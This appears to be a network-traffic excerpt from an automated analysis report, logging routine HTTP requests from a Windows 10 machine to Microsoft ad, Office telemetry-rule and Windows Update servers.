Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241105T195100Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=cf99abf7ffa94911b557ed8b09fa2ed2&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=572493&metered=false&nettype=ethernet&npid=sc-338388&oemName=dydray%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=dydray20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=572493&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAadm/akqoy1ncgil0PQvWIkNn28VqXlzoA61ofPGzJsBuGSpnndNS8rQKfdAoV+N4O8y6U9qgkYlM1Mj/GQXuLtOJoQYBd+3Iz10FFVmOaPOOHP+OH3uIhKcU0pAeYk13fdTMgREYP0S9Z0uwVEocnUMSM99AxIJLj/z2V9D2nLh7Ob2V9jmBlkPRz6BZptOlCOb2ERW/TKZJGtUfYnbV1bdXiLyP2Vl4+b0eLte4xS2Wcc4fa+iYed24iInyp5c0RRzuu6ayr8aJ8DS6yHL9k6ifMOXjP68Ros/bYroJRq8w6riLl1qqv5BY8vuFnNOMmAV7gBaMMu5JlEZGiiFfx4QZgAAEIjFRJD2Q1RTbWWgT7wMNb+wAfJFYgqQBPaRd55nF8HVBAvrsdSRdyiI9o/PznosTQvNloM/TXcUmH9DAtqsk8l/bt/JAQs2isq8UnqNphEMitLzX0TbIEeR+n3zhlOokcKOwjRNPFIeVdpoS4W+/GobycelKkq1NffQZbLotgyvEQujekOQHVwij5av+2g6zDke140a+bx82lCRKJE74ztRjyniehBOigez6sAGMQ9j3x+0oPFwtKlwTSKWj+9CfIrUi/aW7vwWe+HxVA5eK/lYoBPKBsN7n7ATkqfdQ0daNQ1Vz4qLCv/jr9zelcwInIbk2CMkOoHt/w/WY6rLwol2gAGHIHAwPSMm2E0dmXmGdSujB12t0XVD0EVyaWTx7Q5Gn+45Kmq8H9hrpWoMEISmDDnyON8fkAhJ1rRqqFgl9Kfy4AP/Lf2H9BcduTmG0LY97tjTL6ZvKSDPmTPfTUerQzVe5KxpRWcSu1M/49OLyQBM9IgCPe1iinljbEihOGKqisBszFysZThghcx0ArDjur7n6Qaajpm9x2M4vga+DOjAD3fsBNR/j+jkv4dCgt05oybklJZbeACIkAcw0vfH+9oB&p=Cache-Control: no-cacheMS-CV: 4nxV+zfjuk6EBM6R.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241105T195100Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=ce25bb14ef43499ba01bdce4c7e88b98&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=572493&metered=false&nettype=ethernet&npid=sc-88000045&oemName=dydray%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=dydray20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=572493&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAadm/akqoy1ncgil0PQvWIkNn28VqXlzoA61ofPGzJsBuGSpnndNS8rQKfdAoV+N4O8y6U9qgkYlM1Mj/GQXuLtOJoQYBd+3Iz10FFVmOaPOOHP+OH3uIhKcU0pAeYk13fdTMgREYP0S9Z0uwVEocnUMSM99AxIJLj/z2V9D2nLh7Ob2V9jmBlkPRz6BZptOlCOb2ERW/TKZJGtUfYnbV1bdXiLyP2Vl4+b0eLte4xS2Wcc4fa+iYed24iInyp5c0RRzuu6ayr8aJ8DS6yHL9k6ifMOXjP68Ros/bYroJRq8w6riLl1qqv5BY8vuFnNOMmAV7gBaMMu5JlEZGiiFfx4QZgAAEIjFRJD2Q1RTbWWgT7wMNb+wAfJFYgqQBPaRd55nF8HVBAvrsdSRdyiI9o/PznosTQvNloM/TXcUmH9DAtqsk8l/bt/JAQs2isq8UnqNphEMitLzX0TbIEeR+n3zhlOokcKOwjRNPFIeVdpoS4W+/GobycelKkq1NffQZbLotgyvEQujekOQHVwij5av+2g6zDke140a+bx82lCRKJE74ztRjyniehBOigez6sAGMQ9j3x+0oPFwtKlwTSKWj+9CfIrUi/aW7vwWe+HxVA5eK/lYoBPKBsN7n7ATkqfdQ0daNQ1Vz4qLCv/jr9zelcwInIbk2CMkOoHt/w/WY6rLwol2gAGHIHAwPSMm2E0dmXmGdSujB12t0XVD0EVyaWTx7Q5Gn+45Kmq8H9hrpWoMEISmDDnyON8fkAhJ1rRqqFgl9Kfy4AP/Lf2H9BcduTmG0LY97tjTL6ZvKSDPmTPfTUerQzVe5KxpRWcSu1M/49OLyQBM9IgCPe1iinljbEihOGKqisBszFysZThghcx0ArDjur7n6Qaajpm9x2M4vga+DOjAD3fsBNR/j+jkv4dCgt05oybklJZbeACIkAcw0vfH+9oB&p=Cache-Control: no-cacheMS-CV: 4nxV+zfjuk6EBM6R.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+atZCGEXt4o6SCh&MD=8wLWSR72 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
